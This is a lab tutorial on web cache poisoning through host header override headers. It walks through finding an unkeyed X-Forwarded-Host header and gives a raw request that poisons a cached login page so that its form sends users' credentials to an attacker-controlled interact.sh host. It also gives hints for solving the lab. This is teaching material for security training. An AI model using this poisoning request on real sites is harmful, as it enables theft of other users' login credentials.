Web Cache Poisoning
Host header attacks are frequently combined with web cache poisoning vulnerabilities in real-world attack vectors. If the web application uses an unkeyed header to construct absolute links, the web cache can potentially be poisoned. However, the host header is typically part of the cache key, making web cache poisoning impossible to exploit. When the web application supports override headers to construct links and these headers are unkeyed, web cache poisoning becomes a possibility.
Identification
After starting the web application in the exercise, we see a login view. Since we do not have credentials, there is not much we can do at this point. So let's investigate the web application for keyed parameters. We can apply the same logic from the previous sections to determine that both the path and the host header are keyed. There are no GET parameters to test.
Additionally, we can see that the web application uses the host header to construct the absolute URL of a JavaScript import and the action of the login form:
HTTP GET request to /login.php on testhost.htb. Response includes HTML form with action to http://testhost.htb/login.php, method "post", and heading "Please sign in".Since the host header is keyed, this by itself is not sufficient to poison the cache for other users. However, if we try to inject override headers, the web application prefers the override header X-Forwarded-Host over the host header. Applying the same testing logic, we can deduce that the X-Forwarded-Host header is unkeyed, making the web application vulnerable to web cache poisoning. Keep in mind that we need to use a fresh value for the host header to act as a cache buster:
HTTP GET request to /login.php on freshvalue.htb with X-Forwarded-Host: evil.htb. Response includes HTML form with action to http://evil.htb/login.php, method "post", and heading "Please sign in".Exploitation
We could exploit this in two different ways:
Since the web application uses our malicious input for a JavaScript import, we could point it to a server under our control, host a script file, and execute an XSS attack against all users that get served the poisoned cache.
Since the web application also uses our malicious input for the action of the login form, we could point it to a server under our control and wait for a user to log in. This would send the login credentials to our server.
We are going to execute the second approach. To do that, let's use interact.sh again: https://app.interactsh.com/. Copy the domain generated by interact.sh to the X-Forwarded-Host header. Now we just need to know the host header other users are using for the application. In a real-world setting, this value would be obvious as we already know the target's URL, for instance, www.hackthebox.com. In our case, let's assume the domain is admin.hostheaders.htb. So the full request to poison the cache looks like this:
GET /login.php HTTP/1.1
Host: admin.hostheaders.htb
X-Forwarded-Host: cf187gp2vtc0000b03cgg8owd3ayyyyyb.oast.funSend the request twice and ensure that the second request is a cache hit. Now we just have to wait for another user to log in. After some time, we should see a request on interact.sh containing the administrator's credentials:
Solving the lab
Due to technical limitations, the lab does not have access to the public internet, thus we cannot use https://app.interactsh.com/ to exfiltrate data since it cannot be reached from the lab instance. Instead, the lab contains a custom implementation on the virtual host interactsh.local. All requests to interactsh.local are logged, just like https://app.interactsh.com/ logs all requests to the generated subdomain. To retrieve the logged requests, we have to access the URL /log on the virtual host interactsh.local.
When visiting the web application and inspecting it, you will find it uses the Host header value to construct absolute links. When intercepting the request to /login.php and changing the Host header to be any arbitrary value, you will notice that the web application uses that value for constructing absolute links, and most importantly, for the action of the login form. After intercepting the GET request to /login.php (it is important that the POST request to /login.php is not the one being poisoned as that will fail), you need to exploit this misconfiguration by utilizing the Override Header X-Host (any other Override Header will not work, as the web server does not support them) and make it send the login credentials to interactsh.local. After waiting for a few seconds, you need to check the log over http://interactsh.local:STMPO/log, finding the URL-encoded password.
Last updated